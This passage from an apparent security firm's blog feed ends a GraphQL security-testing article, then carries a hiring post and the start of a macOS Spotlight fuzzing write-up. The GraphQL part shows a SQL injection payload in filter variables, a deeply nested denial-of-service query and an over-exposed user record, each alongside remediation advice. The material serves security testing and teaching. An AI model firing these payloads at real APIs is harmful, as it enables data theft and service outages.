	&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;165274&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
		&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
		&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
		&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;firstName&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
		&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lastName&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
		&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
	&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Response&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
	&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;data&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
		&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;user&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
			&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;165274&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
			&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;email&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;johndoe@mail.com&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
			&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;firstName&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;John&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
			&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;lastName&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Doe&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
			&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;password&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;5F4DCC3B5AA765D61D8327DEB882CF99&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
		&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
	&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Another thing that you will have to check is related to information disclosure when trying to perform illegal queries:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Information Disclosure&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
	&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;errors&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
		&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
			&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;message&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Invalid ID.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
			&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;locations&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
				&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
					&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;line&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
					&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;column&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
				&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
				&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Stack&quot;&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Error: invalid ID&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; at (/var/www/examples/04-bank/graphql.php)&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      			&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
		&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
	&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Even though GraphQL is &lt;strong&gt;strongly typed&lt;/strong&gt;, SQL/NoSQL Injections are still possible since &lt;strong&gt;GraphQL is just a layer between client apps and the database&lt;/strong&gt;. The problem may reside in the layer developed to fetch variables from GraphQL queries in order to interrogate the database; variables that are not properly sanitized lead to old simple SQL Injection. 
In case of Mongodb, NoSQL injection may not be that simple since we cannot “juggle” types (e.g. turning a string into an array. See &lt;a href=&quot;http://php.net/manual/en/mongo.security.php&quot;&gt;PHP MongoDB Injection&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;&lt;em&gt;GraphQL SQL Injection&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;language-graphql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;mutation&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;search&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$filters&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Filters&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;!){&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
	&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;authors&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$filters&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
	&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;viewer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
		&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
		&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
		&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;firstName&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
		&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lastName&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
	&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; 
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
	&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filters&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&quot;:&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
		&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&quot;:&quot;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;paolo&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;or&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;1=1--&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
		&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;minstories&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&quot;:0&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
	&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Beware of nested queries!&lt;/em&gt; They can allow a malicious client to perform a DoS (Denial of Service) attack via overly complex queries that will consume all the resources of the server:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Nested Query&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;language-graphql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
 &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stories&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;comments&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
   &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;comment&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
   &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;author&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;comments&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
     &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;author&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;comments&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
       &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;comment&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
       &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;author&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;comments&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
         &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;comment&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
         &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;author&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
          &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;comments&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
           &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;comment&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
           &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;author&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
           &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
          &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
         &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
       &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
     &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
   &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
 &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;An easy remediation against DoS could be setting a timeout, a maximum depth or a query complexity threshold value.&lt;/p&gt;

&lt;p&gt;Keep in mind that in the &lt;a href=&quot;https://github.com/webonyx/graphql-php&quot;&gt;PHP GraphQL implementation&lt;/a&gt;:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Complexity analysis is disabled by default&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Limiting Query Depth is disabled by default&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Introspection is enabled by default. It means that anybody can get a full description of your schema by sending a special query containing meta fields &lt;strong&gt;type&lt;/strong&gt; and &lt;strong&gt;schema&lt;/strong&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;outro&quot;&gt;Outro&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;GraphQL&lt;/strong&gt; is a new interesting technology, which can be used to build secure applications. Since developers are in charge of implementing access control, applications are prone to classical web application vulnerabilites like &lt;strong&gt;Broken Access Controls&lt;/strong&gt;, &lt;strong&gt;Insecure Direct Object References&lt;/strong&gt;, &lt;strong&gt;Cross Site Scripting (XSS)&lt;/strong&gt; and &lt;strong&gt;Classic Injection Bugs&lt;/strong&gt;. As any technology, GraphQL-based applications may be prone to development implementation errors like this real-life &lt;a href=&quot;https://salt.agency/blog/facebook-security-loophole/&quot;&gt;example&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;“By using a script, an entire country’s (I tested with the US, the UK and Canada) possible number combinations can be run through these URLs, and if a number is associated with a Facebook account, it can then be associated with a name and further details (images, and so on).”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;@voidsec&lt;/p&gt;

&lt;h5 id=&quot;resources&quot;&gt;Resources:&lt;/h5&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/GraphQL&quot;&gt;https://en.wikipedia.org/wiki/GraphQL&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dev-blog.apollodata.com/the-concepts-of-graphql-bc68bd819be3&quot;&gt;https://dev-blog.apollodata.com/the-concepts-of-graphql-bc68bd819be3&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://graphql.org/learn/&quot;&gt;https://graphql.org/learn/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.howtographql.com/&quot;&gt;https://www.howtographql.com/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hackerone.com/blog/the-30-thousand-dollar-gem-part-1&quot;&gt;https://www.hackerone.com/blog/the-30-thousand-dollar-gem-part-1&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hackerone.com/reports/291531&quot;&gt;https://hackerone.com/reports/291531&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://labs.detectify.com/2018/03/14/graphql-abuse/&quot;&gt;https://labs.detectify.com/2018/03/14/graphql-abuse/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://medium.com/the-graphqlhub/graphql-and-authentication-b73aed34bbeb&quot;&gt;https://medium.com/the-graphqlhub/graphql-and-authentication-b73aed34bbeb&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.petecorey.com/blog/2017/06/12/graphql-nosql-injection-through-json-types/&quot;&gt;http://www.petecorey.com/blog/2017/06/12/graphql-nosql-injection-through-json-types/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://webonyx.github.io/graphql-php/&quot;&gt;https://webonyx.github.io/graphql-php/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>We're hiring - Join Doyensec!</title>
   <link href="https://blog.doyensec.com/2017/11/27/we-are-hiring.html"/>
   <updated>2017-11-27T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2017/11/27/we-are-hiring</id>
   <content type="html">&lt;p&gt;At &lt;a href=&quot;https://doyensec.com/&quot;&gt;Doyensec&lt;/a&gt;, we believe that quality is the natural product of passion and care. We love what we do and we routinely take on difficult engineering challenges to help our customers build with security.&lt;/p&gt;

&lt;p&gt;We are a small highly focused team. We concentrate on application security and do fewer things better. We don’t care about your education, background and certifications. If you are &lt;em&gt;really&lt;/em&gt; good and passionate at building and breaking complex software, you’re the right candidate.&lt;/p&gt;

&lt;h3 id=&quot;open-positions&quot;&gt;Open Positions&lt;/h3&gt;

&lt;h4 id=&quot;-full-stack-security-automation-engineer-six-months-collaboration-remote-work-&quot;&gt;:: Full-stack Security Automation Engineer (Six Months Collaboration, Remote Work) ::&lt;/h4&gt;

&lt;p&gt;We are looking for a full-stack senior software engineer that can help us build security automation tools. If you’ve ever built a fuzzer, played with static analysis and enhanced a web scanner engine, you probably have the right skillset for the job.&lt;/p&gt;

&lt;p&gt;We offer a well-paid six-months collaboration, combined with an additional bonus upon successful completion of the project.&lt;/p&gt;

&lt;p&gt;&lt;u&gt;Responsibilities:&lt;/u&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Full-stack development (front-end, back-end components) of web security testing tools&lt;/li&gt;
  &lt;li&gt;Solve technical challenges at the edge of web security R&amp;amp;D, together with Doyensec’s founders&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;u&gt;Requirements:&lt;/u&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Experience developing multi-tiered software applications or products. We generally use Node.js and Java, and require proficiency in those languages&lt;/li&gt;
  &lt;li&gt;Ability to work with standard dev tools and techniques (IDE, git, …)&lt;/li&gt;
  &lt;li&gt;You’re passionate about building great software and can have fun while doing it&lt;/li&gt;
  &lt;li&gt;Interested in web security, with good understanding of common software vulnerabilities&lt;/li&gt;
  &lt;li&gt;You’re self-driven and can focus on a project to make it happen&lt;/li&gt;
  &lt;li&gt;Eager to learn, adapt and perfect your work&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Contact us at &lt;a href=&quot;mailto:info@doyensec.com&quot;&gt;info@doyensec.com&lt;/a&gt;&lt;/p&gt;

&lt;h4 id=&quot;-application-security-engineer-full-time-remote-work---europe-&quot;&gt;:: Application Security Engineer (Full-time, Remote Work - Europe) ::&lt;/h4&gt;

&lt;p&gt;We are looking for an experienced security engineer to join our consulting team. We perform graybox security testing on complex web and mobile applications. We need someone who can hit the ground running. If you’re good at &lt;em&gt;“crawling around in the ventilation ducts of the world’s most popular and important applications”&lt;/em&gt;, you probably have the right skillset for the job.&lt;/p&gt;

&lt;p&gt;We offer a competitive salary in a supportive and dynamic environment that rewards hard work and talent. We are dedicated to providing research-driven application security and therefore invest 25% of &lt;em&gt;your&lt;/em&gt; time exclusively to research where we build security testing tools, discover new attack techniques, and develop countermeasures.&lt;/p&gt;

&lt;p&gt;&lt;u&gt;Responsibilities:&lt;/u&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Security testing of web, mobile (iOS, Android) applications&lt;/li&gt;
  &lt;li&gt;Vulnerability research activities, coordinated and executed with Doyensec’s founders&lt;/li&gt;
  &lt;li&gt;Partner with customers to ensure project’s objectives are achieved &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;u&gt;Requirements:&lt;/u&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Ability to discover, document and fix security bugs&lt;/li&gt;
  &lt;li&gt;You’re passionate about understanding complex systems and can have fun while doing it&lt;/li&gt;
  &lt;li&gt;Top-notch in web security. Show us public research, code, advisories, etc.&lt;/li&gt;
  &lt;li&gt;Eager to learn, adapt, and perfect your work&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Contact us at &lt;a href=&quot;mailto:info@doyensec.com&quot;&gt;info@doyensec.com&lt;/a&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Staring into the Spotlight</title>
   <link href="https://blog.doyensec.com/2017/11/15/osx-spotlight.html"/>
   <updated>2017-11-15T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2017/11/15/osx-spotlight</id>
   <content type="html">&lt;p&gt;Spotlight is the all pervasive seeing eye of the OSX userland. It drinks from a spout of file events sprayed out of the kernel and neatly indexes such things for later use. It is an amalgamation of binaries and libraries, all neatly fitted together just to give a user oversight of their box. It presents interesting attack surface and this blog post is an explanation of how some of it works.&lt;/p&gt;

&lt;p&gt;One day, we found some interesting looking crashes recorded in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/Users/&amp;lt;name&amp;gt;/Library/Logs/DiagnosticReports&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Yet the crashes weren’t from the target. In OSX, whenever a file is created, a filesystem event is generated and sent down from the kernel. Spotlight listens for this event and others to immediately parse the created file for metadata. While fuzzing a native file parser these Spotlight crashes began to appear from mdworker processes. Spotlight was attempting to index each of the mutated input samples, intending to include them in search results later.&lt;/p&gt;

&lt;h3 id=&quot;fsevents&quot;&gt;fsevents&lt;/h3&gt;

&lt;p&gt;The Spotlight system is overseen by mds. It opens and reads from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/dev/fsevents&lt;/code&gt;, which streams down file system event information from the kernel. Instead of dumping the events to disk, like fseventsd, it dumps the events into worker processes to be parsed on behalf of Spotlight. Mds is responsible for delegating work and managing mdworker processes with whom it communicates through mach messaging. It creates, monitors, and kills mdworkers based on some light rules. The kernel does not block and the volume of events streaming through the fsevents device can be quite a lot. Mds will spawn more mdworker processes when handling a higher event magnitude but there is no guarantee it can see and capture every single event.&lt;/p&gt;

&lt;p&gt;The kernel filters which root level processes can read from this device.
&lt;img src=&quot;../../../public/images/sl-fsevents_process_names.png&quot; alt=&quot;fsevents filter&quot; align=&quot;center&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Each of the mdworker processes get spawned, parse some files, write the meta info, and die. Mdworker shares a lot of code with mdimport, its command line equivalent. The mdimport binary is used to debug and test Spotlight importers and therefore makes a great target for auditing and fuzzing. Much of what we talk about in regards to mdimport also applies to mdworker.&lt;/p&gt;

&lt;h3 id=&quot;importers&quot;&gt;Importers&lt;/h3&gt;

&lt;p&gt;You can see what mdworkers are up to with the following: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo fs_usage -w -f filesys mdworker&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Importers are found in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/Library/Spotlight&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/System/Library/Spotlight&lt;/code&gt;, or in an application’s bundle within “/Contents/Library/Spotlight”. If the latter is chosen, the app typically runs a post install script with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mdimport -r &amp;lt;importer&amp;gt;&lt;/code&gt; and/or lsregister. The following command shows the list of importers present on my laptop. It shows some third party apps have installed their own importers.&lt;/p&gt;

